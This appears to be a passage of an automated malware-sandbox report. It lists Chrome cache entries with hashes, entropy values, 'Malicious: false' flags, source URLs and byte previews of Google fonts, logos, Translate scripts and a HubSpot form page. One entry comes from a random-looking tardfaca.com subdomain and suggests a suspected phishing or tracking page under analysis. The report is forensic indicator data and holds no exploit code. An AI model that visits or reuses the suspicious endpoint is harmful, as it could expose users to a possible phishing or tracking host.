URL:	https://fonts.gstatic.com/s/i/productlogos/google_cloud/v8/web-64dp/logo_google_cloud_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq....FIDATx.....H.E'......e..m.aN.....d....9.}...\|^.%-....&..L.+.......t....J...2d..<.E...}].K/.0._s.Z:.....Z.+.@.D.U...<..#`....X...vS..g.7.:-_...X9=...z.W.3..6.......?.....,}7....H.K....#..........o.3P:.....^..._.....Ttz.....y(.RZU:..x......{..Z..J.<.......&....Du.O.c......._...~a. .. ..........>...l2?...=..IB.$.;.\|.m+..N....':...`m{..Xy.<...P2...x1a8\|.m.....5...N...QG6.=.U.7.>.w.)...}...r...H.........N.\|...H..t.B...OsI.........m.O.._A&..99.>..bWN.c"w..C..H..ZJekjK.?..Ea?.:.5].w.9\|&..x..P..7..<.B...L..~;\|..!..g.&\.?...-J..wW....H\.E}.ly.2#.b...!..u.7.x........C..k..n.MP=./L.4&.Z....G}/..BC-..Z..NX..!.7=.Tx...&......"9.w.<.....8\|..RF^.<.....l...ZxQy...........8O9Ag9.f...I..v0<....~._.../L.5<......e...f.\|.._.n.Wiw4./c(n.;a.p....0.M8...!p\|.i....48..d.U:K'a.`.<\J{S.^`g..t.?.:...T(.,.....p)!@N.....H....n..i....@...%.}..j.._{..X.x..:..'.......N..J[......O.*...a.2....j.px.5...j............g......@...nq..p

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1322)
Category:	downloaded
Size (bytes):	13424
Entropy (8bit):	5.039654872182033
Encrypted:	false
SSDEEP:	192:SiUKUVZV3Go0KsMRZw6CqR3H9+iydbLsuyiaaDaKtGvuDxA1BxBz38awOra:SiSH370HMRZjXWL85ixaBjVwma
MD5:	07BE88BA719BA3049DD188A854D3F312
SHA1:	E8DB3EF1F501636D6C665DC601E07CA2E4758B02
SHA-256:	4B24800ECE17DFFD98836C3503B1B38F0F7B9074BE994E9BE423F74DDEFCDFB8
SHA-512:	6BB2B245EF7EBB0C2FBAE652648ADB32C2B8BB53F70E3C0BFA441B7796E86CFBF65804E3448B1B1D2A50ED13CDFD050FB5A226CCA3A4C3BE8CF024E8331D8773
Malicious:	false
URL:	https://share.hsforms.com/1CW530LkrS821BfbeHP3L2wsoxpw
Preview:	<!DOCTYPE html><html lang="en"><head><meta charSet="UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/><link rel="preconnect" href="https://static.hsappstatic.net" crossorigin="anonymous"/><title>Form</title><meta name="viewport" content="width=device-width, initial-scale=1"/><meta name="robots" content="noindex, nofollow"/><meta name="googlebot" content="noindex"/><link rel="dns-prefetch" href="https://fonts.gstatic.com"/><style>body{margin:0;background:#f4f8fa}.container{display:none;width:800px;margin:0 auto;margin-top:30px}.skip-to-form{left:-9999px;position:absolute}@media only screen and (max-width:800px){.container{width:100%}}.container.error,.container.loaded{display:block}.container.loaded{background:#fff;box-shadow:0 4px 8px 0 rgba(53,105,128,.3),0 6px 20px 0 rgba(165,200,213,.41)}#form-target{padding:40px}.hs-form_free.hs-form__thankyou-message{font-size:38px;text-align:center}.hs-form_free.hs-form__thankyou-message .hs-form__virality__link{font-size:18p

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15996, version 1.0
Category:	downloaded
Size (bytes):	15996
Entropy (8bit):	7.989012096227512
Encrypted:	false
SSDEEP:	384:nH4UArsQ/nHYjtuHgovTC+H+b23+kMw/KjK0TQ59u98pgQXk:nYZQjtuHgYGbrMyjDiJXk
MD5:	CC536892EABDE0EAEB81493BDA8E189A
SHA1:	15C0180AD7BDF9D0F963747447BC9446FC42D2DC
SHA-256:	97399A2914C593DA2895D9729AA0170A1956E91EE54CF7550696691949558A37
SHA-512:	94F605C4C4FE76EBDB2D5428C6BA69F83B75C65B6932251C0C3E90F92CC1F421FD9F15E81D5985693DC564B8644D90A26DA3E9C63976CF5862ED54D5ED0C4320
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesanstext/v22/5aUu9-KzpRiLCAt4Unrc-xIKmCU5qEp2iw.woff2
Preview:	wOF2......>\|..........>...........................<..:..:.`..:.....p..~.....6.$..(. ..>..N.....5xn.u..b.....c..<..Rw.H..q.(.....9A...^.=h.%J...4.\.\.[....[....h.j..AP.....a..]N.o....6.a..uO..R.\|o...wO..t....s....^F...Oy....IN^..X...9sg...(;..L.....5.s~...?....%.0.f....b.. ..;.. "k+.v`.....1kq.\mqLp.]\|..Z\..O......=.......h..,u.................y.h.o.Z..%.....g#..B......V...3.r....J..>g.-rU?+.3A.....C...... .21..f...Z.......P..o..g\.b... v...6..0...b.....?..-WL...Z2...1..Q./....... ..C..G.^r....O......io;.o..4.<....7.Pm..!.Nu.=..Oc............e.w.g.....,...c...0V.P...R.){..u...>.fi..S.w.G...-..... $.8......w..hp...T@..Go....).......;.....B.)..p.\.?.-KC.S.5..pX9...'.!.-....R.Sg.>x.o.yP......S....a...m<.+".t%..3x.?3M;....k.....I&I.3g.26...p...}~....X.x..G.<)..k..U....AZ..A@....Cu..Tv{...\|v.04H.$Xc..E.)<...!........^..~.7P.u...xH..rX..8O....y.k(...0.p 0.%.U...Z...%...\|LlUJ.]L_...9..AX.$E.$.sa.(v8L!...rc.-....I..W..........^U...@.....3P............M..

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com/14838110493951460639772zDuwQeQpDWANIGLPFGCHDRVKNQGYKXWUJMDPKOJKJUDETQNGDRBXOB
Preview:	1

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	573
Entropy (8bit):	7.411210973910928
Encrypted:	false
SSDEEP:	12:6v/7l1hdOSV9dzFYJ7K71YEgSkK47DZEhepVvFwXHWZTNLfLiO6hc:49dzFfp5X2DShmxO0FOxhc
MD5:	AC0988CF6F19732322A917C3C3D7288D
SHA1:	20421058057542F50B38DF143F1EC48B671E0677
SHA-256:	BA32E274A78AFB8194B5CD13B7513292249455806D12B4905FA0923EE814C78E
SHA-512:	7A7328957660A49A7A5408175BE212F35FC2E09F664C2EAD6580E98AB1E41BB629B7B4ACC3842A89BC15CC8DE0C571F79328588C5F706F2FB393BACAD7EF4CBF
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx....d.@..."(.a..CQ.0.E......"....`..(....(...a.....b.....awm.\v.....G...$..D".H$...$h.<R.S@..5.[.4).3.w...x....I.5...RJkB.}."::t.k............:......].X......NpPN'&....uiR......^..z2)`Mp......C.+..R.......Z]...P...&...8>.R.......l6@...Wu.g.(..b.\\TY......~.l.t:U......Z.`..H.......t.......y..\|......p......c..n.#0..JY{.^Y+..;..*>.~..B\|.c4.rE..Q@.....P.......Ow.T^..e..%..!.....U....):5)`LpTbz".G.L.....L..Wn......?...Lp.......8..=..P....Ps.}PB.o...C..iD1Hs%nI.]h..%?...( E^K".H$..D".H4..,.....n~....IEND.B`.

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5164, version 1.0
Category:	downloaded
Size (bytes):	5164
Entropy (8bit):	7.955022654419014
Encrypted:	false
SSDEEP:	96:0d/IkMLdBZmPHsHmJQE/h2ygZ5mPy6ldKPCH/S+fuG/mlVSOmxXvR:kQPLgUGhoygzqRlgPCHzfuOmNK/R
MD5:	E1D4C2969A3DD92F91FEA51F652831EF
SHA1:	FF3BE3617B93FCA22D758F43920ABFA313337BC2
SHA-256:	570D2DC2CE988D8AE09147EE2ECA5EC53F8D5F036E84E3212BF03503374054E5
SHA-512:	4F426BCCF3B2838DAF1356D90476E1D761B61431606E673718A4E6BB86946C759C3D9E68D1A4218EA24E9550DEF9C0B3D953066C2B0B2176C5003EDAA6F93AD0
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2
Preview:	wOF2.......,......2(.............................(..L.6.`..(.H..<....D.3........6.$.... ..~. ..)..,..xp..D.{..>..l..Q$..(.#.....'.....Mc...z.P.N.Nx.Ey..\|..8...6..z..r........\|{#.Hk....B..1..q.-QGE.T]VC.6....Q...m.......,0.m..a/...U.n...r..fS7... ?....g....H......57.B...b..v#@c.K(I.P0l-...'.,.yh....P.E..yV..f..%.V.....#.....V.w:B............]i....~.......5.....2.U...Z......MRJ-(.AvO+......g..H(..0.....i...c.G=.."..u........l$......@Ud...23...f]j. ..\....k%@>.DS....^$W:...J`.J...Vd8~.1 A>.2....J.Y...}.MQ....s^.29-}...\=....$M...$...4.9.:l.y.w).5n9ef...xr..}}.D9,.v.Uv$5.F..h..X...D..2y.P..7.C......D,.w....:qq@8...S.b.2..o..E w..)..;../..........W....@K........o.H..`Z..P.N...h.<..]d...,.....r.a.X..d8T.V.G.g.Ot.^.2...~.~Q.._CO...<...[.UMo..,..$.o5..G.d...>.&Z./.SpyGk....r..x.j...X...In.....QX.E......Z.@2.u..F.b..`.~.......3{#.r.....^c..=...(...W. "...3......V<....0..`kp.q.h</).8.w..$...($..@!.=.\q.2..x.0.....S/...o.J...wjn.....d.`...W..Rh4...d.....

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	60408
Entropy (8bit):	4.746090328799968
Encrypted:	false
SSDEEP:	768:fctDxhgZqb0HZb0HEuZ5V2KKCICtvlc54WA+Vw4G4Fw0RToTQTQDbx4r/MT4gohL:fesZvo2KKVmp29bFhTOG2T4go+9nK8Hm
MD5:	A371D1ADD8D95D9A5AC0222DBFC707DA
SHA1:	B273236FC088B58AEC5BE2E7CD642E290C31CBF3
SHA-256:	0A11003900B5593A71CFAB463C2A5E7D2588B251F697EAE8B64946F4D178FE54
SHA-512:	1C4FC0A64E927A073713435830F9D3044894FFDAF30E6966B28D1F3757D564D6E9124F632EB0B61EA41947973FCB28C82F98696E021A8A827FB96E2FF0D27ACD
Malicious:	false
Preview:	<svg width="1280" height="307" viewBox="0 0 1280 307" fill="none" xmlns="http://www.w3.org/2000/svg">.<circle cx="1121.01" cy="217.239" r="27.6618" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.58 204.281V292.049" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.58 223.588L1130.88 213.286" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.39 233.491L1113.06 226.163" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1120.39 217.429L1113.06 210.102" stroke="#D4E1F3" stroke-linecap="round"/>.<circle cx="1132.29" cy="223.588" r="1.69704" stroke="#D4E1F3" stroke-linecap="round"/>.<circle cx="1104.71" cy="210.101" r="1.69704" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1101.26 297.3C1104.15 291.738 1110.46 288.868 1116.55 290.35C1122.63 291.832 1126.92 297.283 1126.93 303.549" stroke="#D4E1F3" stroke-linecap="round"/>.<path d="M1087.8 303.549C1087.7 300.666 1089.18 297.957 1091.66 296.486C1094.14 295.014 1097.23 295.014 1099.71 296.486C1102.19 297.957 1103

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 21552, version 1.0
Category:	downloaded
Size (bytes):	21552
Entropy (8bit):	7.991124519925249
Encrypted:	true
SSDEEP:	384:sPsBjS050+6ZPTO5MZcvt18lQYjxHe+YeXIY3r9mgNRb4PBvCrdYq+sMM:sPMjX0Gj8lQYFFEY3JmgTbcqYo
MD5:	EA2C3CF1BE388BD3FBE9D0CD8AFEE11C
SHA1:	6647CBAF7BFEDD842F806549F5C3433A19EAB1AB
SHA-256:	1CF04407E728EA1EBF82DC1C6B45D12632CB3202FF8F4556F380B16E57484F27
SHA-512:	2B260F63CD6BD0C75A3E6EE9EB5FA5B477F1AB2E107F682165C8A4BDCB9A6CFBFD21AB172CE165A3C2EBF451AB91D27070EF5E4D985EF3105EBCAE964C6D8870
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlL3Owp4.woff2
Preview:	wOF2......T0.......d..S..............................,..@.`..~..<..u.....X........6.$.... ..r..X....\|.5......0...av .....p.........R...srCd..._o.,...A.4...w...{0.. ..A[.z...L."..j..&s..a.-O]........m......~l..yy..m.&.X.U0........G.\|..t....l\.HVN......o....4M.{.j..I.Kb.D.....7.....<0Ln._k.........d[&y.C...8..7w.,.L.....u.n.!..q..H..i.{.P.fq......D8....G).....m.;e.K,0...Z...<.......=#.}...]o._..t....<..Em.}..,P..........I...3..Q.G..g"..~nZ..P..Jb./..?q..}.=..v......N...f...,.!.3.V......s.?..g..X..5W...B.:.....H.Rq.Iw*A...rq,..;v.\"(.n.~K.Z.Q0>..P.....a%).y.LE.{.8..&...V..h.jJc....u.\.9K.MI...g\..M..~.....n.a(......j..J{ .E....Vv..^....8.2U.....{.%..A....48.oiIG...r9....hg@...QU.z[..8'd(.s...BB....a9a.t...fh...=.y...P....l._...?;......b.d.X..bf.p..m..$.... E.{...W..:.....8V.R."./."]3.M...G.....RB.!......>..Y.'..M.n.+.rC.2../u...U..#.........D..8...4..G.!Ad..".#.w..P.:-`.."DC..BBI)....]..$.}..q.<p..As...^.y.c...(:.......Q.D#1./..W......R...=.

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	885
Entropy (8bit):	7.514391089546807
Encrypted:	false
SSDEEP:	12:6v/75yAuLPnAGHqHV85xtV6guWvbZagCX48ZYiNa2T1bpp6oNFs+vM5v40GNSkc:Quy8b7NuWv6smTFFNFsYM+xu
MD5:	CE23C4CB379C32AE54DF13CA22DE161C
SHA1:	A8532339309E8572140F4CE343CAFF7B187029E6
SHA-256:	1F00BF732DFC5A8C7885885117D9C3A44F25EA1F31E92C52237C76D7BF908525
SHA-512:	B7B6F454A0BCB56B9EED5982F3355F528CFFE63BED62D0D884DC3259DCBFDC706DD827ACFB0A64FDCD9F610965D30276CDEB5FCD5DFE2E5AD413D7B150EC61DE
Malicious:	false
URL:	https://fonts.gstatic.com/s/i/productlogos/gmail_2020q4/v8/web-64dp/logo_gmail_2020q4_color_1x_web_64dp.png
Preview:	.PNG........IHDR...@...@......iq....<IDATx....#A....l[k....m.m.m......\.....M.U.e..y...........t..).K..'\.N....r)(.$ .0I..?Y...G..O>>.@.._..r#..G..'].m..5.Z.....aD...\..o..26.2..I.?.o..4.m..9.....:\q.j...D.h.........Sf...O........L....P.M..~.....$^...IC...F~J...9.e.%1<.:Q'!.Br):\|4}^.d....'\.......b...B..'.R../....9..@.....~..x..(M.CM-+...I......$p....$p..`{P....0...<k..v.(A..Q...j...Qw....$L.<k.....k./u-lu.A+....j..K.....&a...\.].....5.e...1._..+.f..MBw.Y.X..C._]=.....{7\(.$..@.@.g...}S..wp....w. .$..@.@.g.._a}9..t..2C%.M....uV>rM5......R..............@..+.....V.x.yf.N.R.,.....)oU...;.:+..m.@...>.....,..I...6.p......l..PI.ozI._..W~2\|x"T...[j1...'....2.-....I..<.)......+...I..+...I..'a.h...\|..L.W.......]........h.........8......8...k;...5...0....]W3=.....;...D..q.r..{.....b.W.....8....X.k.76......F............;....g.......IEND.B`.

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1252)
Category:	downloaded
Size (bytes):	30806
Entropy (8bit):	5.684146013921905
Encrypted:	false
SSDEEP:	768:u638CrCwx6vJSTWLKvNgDpHn+h/pOiHUSDY9MbBVn2dBv:3MCeMTM8IHn+h/pOi0v94gdh
MD5:	56452380D300C2E947A7A81D7DCF8BBB
SHA1:	4BA979176D948C05D743A02D397BC5F945965DEC
SHA-256:	4B1F3FD21B714303538B356F37E2118D8E461099F90C92348BEC0B4ED8B8939C
SHA-512:	B1A3749237BC54A576C911B82A619C95855C5DD19A52650144A858EFA7D1160D28CD7ED018E38010A6AE972A28519D311B521284A6A50E4337AA93049CD6CA87
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-translate/_/js/k=boq-translate.TranslateWebserverUi.en_US.gi8Hjag_SbI.es5.O/ck=boq-translate.TranslateWebserverUi.9DqPC76ldIs.L.B1.O/am=g8EAAE4IyBQsBAI/d=1/exm=A7fCU,BGvAMc,BVgquf,CHCSlb,CTfTTd,CW8lw,DFTXbf,E2VjNc,E8RCnf,EF8pe,EFQ78c,EXqMwe,FhOzRe,GILUZe,GjNf3d,HwavCb,IZT63,Id96Vc,JH2zc,JNoxi,JWUKXe,KUM7Z,L1AAkb,LCd6Fb,LEikZe,LvGhrf,MI6k7c,MnwvSb,ModSgb,MpJwZc,NLiBIf,NhqZgc,NwH0H,O1Gjze,O6y8ed,OTA3Ae,P6sQOc,PJmRvc,PrPYRd,Py55mc,Q4odOe,QIhFr,QiuiSd,QwxRbe,RMhBfe,RqjULd,SU9Rsf,SdcwHb,SpsfSb,TIMMcb,Tpj7Pb,UMSz0b,UUJqVe,Uas9Hd,Ulmmrd,V3dDOb,WO9ee,XBRlNc,XVMNvd,YYmHzb,ZDZcre,ZwDk9d,_b,_tp,a6k9bf,aW3pY,bTi8wc,bYHiff,byfTOb,c6uA6d,duFQFc,e2jnoe,eM1C7d,eYJrS,eZKlG,ebZ3mb,f6XzIb,ff8rzd,fmklff,gNRIbd,gychg,hB8iWe,hKSk3e,hKX1gf,hc6Ubd,j4UNFc,kjKdXe,lWpni,lazG7b,lsjVmc,lwddkf,m9oV,mI3LFb,mdR7q,msAMEf,mzzZzc,n73qwf,onWwzb,p3hmRc,pjICDe,pw70Gc,qDN7de,qNG0Fc,qerCec,rSlV0d,s39S4,sJhETb,soHxf,t1sulf,tisQVe,u8fSBf,vopfbe,vr7JQe,w0Gqx,w9hDv,wg1P6b,wnKIze,ws9Tlc,wtngef,xQtZb,xUdipf,xzbRj,ycXvHb,zbML3c,zqPcjf,zr1jrb/excm=_b,_tp,mainview/ed=1/wt=2/ujg=1/rs=ANkVxDk2oRHyx9-m1ANtw4N3BDjZYkWesQ/ee=EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:SdcwHb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;Uvc8o:VDovNc;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;g8nkx:U4MzKc;iFQyKf:QIhFr;kbAm9d:MkHyGd;lOO0Vd:OTA3Ae;nAFL3:s39S4;oGtAuc:sOXFj;pXdRYb:XBRlNc;qafBPd:yDVVkb;qddgKe:xQtZb;wQlYve:aLUfP;wR5FRb:O1Gjze;xqZiqf:BBI74;yxTchf:KUM7Z;zxnPse:duFQFc/m=sOXFj,q0xTif,HgVFRb"
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.th(_.or);._.n("sOXFj");.var cw=function(){_.ro.call(this)};_.B(cw,_.J);cw.qa=_.J.qa;cw.prototype.j=function(a){return a()};_.Ov(_.ula,cw);._.p();._.n("oGtAuc");._.opa=new _.Bf(_.or);._.p();._.Nw=function(a,b){a&&_.Df.rb().register(a,b)};._.n("q0xTif");.var Ypa=function(a,b){_.so(a,b)},Zpa=function(a){var b=function(d){_.Go(d)&&(_.Go(d).nb=null,_.uw(d,null));d.XyHi9&&(d.XyHi9=null)};b(a);a=a.querySelectorAll("[c-wiz]");for(var c=0;c<a.length;c++)b(a[c])};_.Ow=function(a){_.tw.call(this,a.Da);var b=this,c=a.context.X0;this.j=c.zk;this.N=this.Aa=this.v=null;this.H=a.service.La;this.oa=a.service.uea;a=this.j.na.then(function(d){b.v=d;d=b.j.id.UP(d,b.j.j);b.Aa=d.variant});c=c.FK.then(function(d){b.N=d});this.fE=this.fE.bind(this);Ypa(this,_.zg([a,c]))};_.B(_.Ow,_.tw);_.Ow.qa=function(){return{context:{X0:"FVxLkf"},service:{La:_.aw,component:_.Dw,uea:_.opa}}};_.k=_.Ow.pro

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (874)
Category:	dropped
Size (bytes):	4853
Entropy (8bit):	5.424447549738399
Encrypted:	false
SSDEEP:	96:UujTrZ5cSVzEjLvPm82eFC40sJIvJHqweglqw8qe8qyGX+e2iXP:L5fWl2eFC40sJIvZqTglqRqLq/X/2i/
MD5:	6DE53A682534CEE94728330C2D0CC408
SHA1:	55F8E50A5A3577AE476D0BF59230316722509925
SHA-256:	FBDB2B4D412F0F91DB314D902ABDB6EB2A3F7B2E544AE96E51E4C5D4E781B6D6
SHA-512:	EEE68DBF2DC0960E79005DBCE91F4A086298DDC3FB5DB6DE61AE52B3C2CF39998FDB3C821CDCA1922A00185108E0B731C1543E1207C6E5B314AB51755E3E6FC5
Malicious:	false
Preview:	"use strict";this.default_TranslateWebserverUi=this.default_TranslateWebserverUi\|\|{};(function(_){var window=this;.try{._.pBa=_.z("JH2zc",[]);._.n("JH2zc");._.T0=function(a){_.K.call(this,a.Da);this.na=_.Ip(this.U(),"VfPpkd-AznF2e-uDEFge-OWXEXe-GN5I5c");this.content=this.Ca("bN97Pc")};_.B(_.T0,_.K);_.T0.qa=_.K.qa;_.T0.prototype.H=function(){return this.content.el().getBoundingClientRect()};_.T0.prototype.N=function(){this.U().Ka("VfPpkd-AznF2e-uDEFge-OWXEXe-auswjd")};_.L(_.T0.prototype,"ZpywWb",function(){return this.N});_.L(_.T0.prototype,"fab5xd",function(){return this.H});_.M(_.pBa,_.T0);._.p();._.zx=function(a,b){return a.j[b]&&a.j[b]\|\|null};._.qBa=_.z("t1sulf",[_.pBa,_.lF,_.po,_.nF]);._.n("t1sulf");.var Gbb=function(a,b,c,d,e){function f(l){return l.size()!==0\|\|c.data.icon?c.data.Vo&&!l.size()\|\|l.size()>1:!0}if(!f(a.find(".VfPpkd-cfyjzb"))&&(a=a.find(".VfPpkd-cfyjzb"),!f(a)))if(c.Rb()){var g,h=!((g=c.data.icon)==null\|\|!g.toString());h?(a.size()?d.j(a.el(),c.data.icon):(d=d.Bc(c.da

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 162924, version 1.0
Category:	downloaded
Size (bytes):	162924
Entropy (8bit):	7.998614826254304
Encrypted:	true
SSDEEP:	3072:XdhkQyBlHVVYwHUFDrzXtPz/qJwZmUyhjpimMS6DW4hb59a06EziVFKth8Biq:wQyBBvYw0FD/tPWJZjI3PXhbrduVFc8f
MD5:	7F2E1B48B71EC58FDA4539018A2F56CC
SHA1:	507BF81F52FA8C99BF2C5C8BD59A981899CA9995
SHA-256:	7F80C4C91054B3D6C80721939242C2D4F68F15E41F251E12641F695D78EB2F35
SHA-512:	DD7B52119D1179332147984F6C7D8CDCB3388AEB1E8AF708EF9036ACDDE6E7B3900ACC965221F4E4864DAD89797072E19E5B308CF065A65DDA7656BE884CDD77
Malicious:	false
URL:	https://fonts.gstatic.com/s/materialiconsextended/v151/kJEjBvgX7BgnkSrUwT8UnLVc38YydejYY-oE_LvJ.woff2
Preview:	wOF2......\|l..........\|..................................`..P..........N.....6.$.... .... [.m.A.B.$...c....5s/E...%.u..v..J6...:......;............$........@..M..... 8.HA.6%R...tB ..D..M".f.$G.....<....~.y;..R..23.S.T...p...'V{\|u.,S....Z...lZ)..Dc..D..;=n...V...<.X6...h.......:sw.....T.6.eF..!=.f..H\..dDd.q"s.E.Q......JT..v..#Mf"sH}A.>.....q.h.mLC...Q..Cv...+\|.u......6..B...I......K..I...R.[..m(...P<B."R.Ap.f.j:.o...\o..L..G3Yn.C..........\rI..$$!DH.!....v0r.E...p..WK.v...muW...X.[. ......j...1\U..8V.&.X..i.T^TO..^\......&.g2Iv....>.J(.T...y...v....4.f..a....$.K...M-5...1D.ya...'.'...A ....!.@..c...$.D.3q..:...:&O.rV..V..v.m...[-.Z..m.......:o......$}.h..i.N.FH.$(..Zq....v...k. ._.A...J&.J..D.......>...~!...H.".$........_...;v...*gU....W Y3lI...;.....RG.....\|.rw.. ..=@.....N.....=.W..=O.(...`..M......Y..&.O. R..'0.~6@$.4f.`I@.dV{..YJ[j`v).1(.L.."(oO...R...cI(.l.K..P,1.C.b....A=,u.B....;wm..H{.>......8e.8d.2.~.4.CDDDDDDDD..\|.Z..s.G!.._.....

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1275
Entropy (8bit):	7.756126878635641
Encrypted:	false
SSDEEP:	24:gzUAyuF7+TcO3htKQdzvdN+d4YdmNg9iUtPEplZQdNW8RE:gz7/F7hO3htKQdzvdN+d4YdmNgEPeE
MD5:	A1485FAD16EDF8FA9F0863128AF0A1CE
SHA1:	4A6C9239C2594861C0E7D3A156954740208275CC
SHA-256:	89DFD715B8E1150CE83F876DF83361B38A11F24FC0BD0922B39CA4CBC701B45F
SHA-512:	9413D7F9192A2F9C056B6A697113691327A92AC4A50386593ACEE8D221ACB024D333BB059553BAD42325B863C02006D7D7C89E8362267C3481D75D8EB7B07063
Malicious:	false
Preview:	.PNG........IHDR...@...@......iq.....IDATx.b ...Q`.T.tY...63_..7"<......9.I..a..m..k..j.m.m{.q.{.l...j....1..&.&6#^X.U..(.i.d5fSH.JE.q.b}..f+..(S./ ]3...'.~...eO...X<D..)YMC.v.9.._..^.\....#.u.}..p.C..E...6@.e..+..\|.c.r:..uy....ii.S>4...y.)M.........8Kr...?C.7..m..:...D98.7."..j.+v.].....4.. .;e.E......t:.a... ..6c.l1.;v..{.Dh..r......fh.w.D.#-.MKU3.....v......4..Lu....j./..t1......99....!Q..{q..,......&......c... B.......<...[C........NXZ.U.Y.(.9c.%..g..]8.....j.2...=..Iy..=.OW.9.q..;a...Z..L.x.......@.....UN_.7.=.[.<p.b..J..k9.P1.......-.`..u.7.\|)..8@...=.......R..+=?<.:."......B..@.w.I.p=.......?..Z..I-...>..........._.y.3I..d..;.J..r$.>...=9.b...........{\|.@.md..U..A.....w....I...@....y[.$.O>N..=M..3.. o.=...fW....(..=o...i...84.O$1..,.@..^3![k....j _.?Odq#...zL.d....R......E...v.i.....r\|..u.7........\|P..."B...e...C.2F..w.t..\|........&\x'.."...\|....W.O..../).X...\|X....#....A<...~D...^l{Wx...#..>:)^J......Rn^../*pFt...<(Z}.J.'.....

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 21716, version 1.0
Category:	downloaded
Size (bytes):	21716
Entropy (8bit):	7.988919175869214
Encrypted:	false
SSDEEP:	384:DfspV407P6+jGlbMAA2cdv92Dg3AuGZ0KGKBb2ZXdWgb98JmSKMrN:D64Ei+n2c19NuqKuZXdWv79N
MD5:	D4FF90DB5DA894C833F356F47A16E408
SHA1:	30606044507D81B996C992895AB16B8A8D68BE97
SHA-256:	F2C761EE3CE27469F940A05B64E38A829A400427727CD0BDBB4E36F1D572AFD7
SHA-512:	85C6305EE6973EBF449EFCFC95BB10A66E5CBA92D026A2EC4F1072DC8CCBC5B4A4A384FE425E53E2DADE2180F37CCA56243ED354033CFCA5821CBB77FB8B0FA1
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94YtzCwY.woff2
